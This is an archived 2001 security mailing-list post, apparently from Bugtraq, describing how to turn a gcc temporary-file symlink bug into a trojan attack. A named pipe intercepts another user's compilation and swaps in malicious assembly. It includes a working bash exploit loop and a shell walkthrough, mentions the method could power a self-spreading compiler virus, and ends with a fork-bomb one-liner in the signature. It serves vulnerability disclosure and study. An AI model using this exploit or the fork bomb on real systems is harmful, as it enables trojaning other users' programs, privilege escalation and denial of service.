Typical "[symbolic|hard] link bug" is a vunerability, which allows user X to overwrite files owned by Y (with useless portion of junk) when Y launchs buggy program. But this trivial (and often ignored) attack method can be easily turned into a cute, powerful weapon. Here's an example how to perform advanced exploitation of gcc symlink bug (I choosen that one, because this problem is probably well-known and it's pretty easy to fix). Original exploit code has been posted here about 1 month ago... ADVANCED "symlink" ATTACK First of all, we need to fix our exploit by replacing symlink with named pipe. What for? Be patient: #!/bin/bash # Advanced GCC exploit echo "Advanced GCC exploit running." renice +20 $PPID >&/dev/null cd /tmp while [ 1 ]; do V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."` if [ ! "$V" = "" ]; then mkfifo ${V}.s bash fi done As you can see, new exploit is even smaller and quite useless :) $ ./adc-gcc Advanced GCC exploit running. [...] Ok, our exploit is running somewhere in a background, then other user launchs gcc to compile something. His gcc hangs trying to write compiled junk into a pipe created by exploit, and our exploit drops us into a shell: [...] Advanced GCC exploit running. $ ls cca02091.i cca02091.s [...other stuff...] Now, we may modify preprocessed cca02091.i file. I added line 'printf("Hello, dude.\n");' using vim at the begining of main(...) function, and saved modified code as myjunk.i. Our user is probably grows impatient, so it's time to serve our dish of the day... First, we should flush pipe: $ cat cca02091.s [...a lot of asm junk...] That's perfect, gcc wrote everything successfulyy, and now it's trying to read it back from pipe. So why shouldn't we give him a chance? I precompiled myjunk.i using cc1 (it's location may vary, but it MUST be somewhere; you may locate it by executing "ps auxhw|grep cc1" before flushing pipe). Oh, I forgot. If you're unable to read cc*.i file, bacause user's umask is set to eg. 077 - don't worry! You may modify asm code directly, just redirect output from above command to your file... Let's see, what we have here? A gcc compiler happily waiting for compiled portion of asm stuff at the second end of pipe... And compiled code, but modified a little... So there's only one solution: $ cat myjunk.s >cca02091.s Kaboom! Gcc finished it work (hopefully everything went OK). Now user have it's program, but with OUR trojan code! What he does now? Launchs it, or... $ make $ su - Password: # make install Whoops! This exploit method may be enclosed in a simple, quick and automated script, but this time I won't write it. I explained this attack even too clearly - remember, it may be used to write real, extremally quickly spreading VIRUS, which infects every file which is beign compiled. How to protect yourself? In this case, it's quite simple, this problem has been already discussed on BUGTRAQ. But that's just an well-known example of 'not-so-interesting symlink bug'. Almost any symlink-vunerable program, which stores any data (even PIDs) in their temporary files, may be exploited in that way (eg. not so easy to fix gzexe problem). _______________________________________________________________________ Michał Zalewski [tel 9690] | finger 4 PGP [lcamtufat_private] Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch] =--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:42:48 PDT